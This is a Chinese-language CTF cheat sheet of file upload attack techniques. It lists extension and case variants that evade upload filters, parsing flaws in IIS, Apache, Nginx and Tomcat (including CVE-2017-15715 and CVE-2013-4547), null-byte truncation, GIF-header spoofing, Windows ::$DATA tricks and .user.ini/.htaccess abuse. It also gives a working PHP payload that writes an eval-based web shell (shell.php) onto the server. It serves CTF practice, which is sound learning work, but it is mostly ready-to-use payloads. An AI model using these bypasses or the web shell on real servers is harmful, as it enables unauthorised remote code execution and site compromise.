CTF-Web【文件上传】漏洞做题姿势积累

前言

本篇文章专门用于记录做文件上传类题目的做题姿势,会不断更新。

文件上传可解析后缀

asp/aspx

1
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr

php

1
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml

jsp

1
jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

中间件解析漏洞

iis

1
2
3
4
5
6
1.IIS6.0文件解析
xx.asp;.jpg(服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了)
2.IIS6.0目录解析
xx.asp/1.jpg (服务器默认会把.asp,.asa目录下的文件都解析成asp文件。)
3.IIS 7.0畸形解析
xxx.jpg/x.asp

apache

1
2
3
4
5
6
1.%0a(CVE-2017-15715)(apache 2.4.0 - 2.4.29)

更多姿势
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

2.未知后缀 test.php.xxx(Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断)

nginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
访问连接加/xxx.php test.jpg/.php (跟版本没有关系 属于配置不当)

畸形解析漏洞 test.jpg%00.php

CVE-2013-4547(Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7)
test.jpg(非编码空格)\0x.php

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHPfputs(fopen('shell.php','w'),'<?phpeval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

tomcat(仅限windows)

1
2
3
4
5
xxx.jsp/

xxx.jsp%20

xxx.jsp::$DATA

绕过 xif_imagetype()方式

添加gif文件头

GIF89a

截断上传漏洞

%00截断上传

php版本<5.3.4

windows系统解析漏洞绕过

1、上传1.php(或者图片马),抓包改为1.php.

2、上传1.php(或者图片马),抓包改为1.php::$DATA

3、上传1.php(或者图片马),抓包改为1.php:1.jpg

4、上传1.php(或者图片马),抓包改为1.php::$DATA…….

小技巧

利用.user.ini文件进行上传前提是当前上传的目录存在php文件

上传.htaccess (Apache)

更多

https://websec.readthedocs.io/zh/latest/vuln/fileupload.html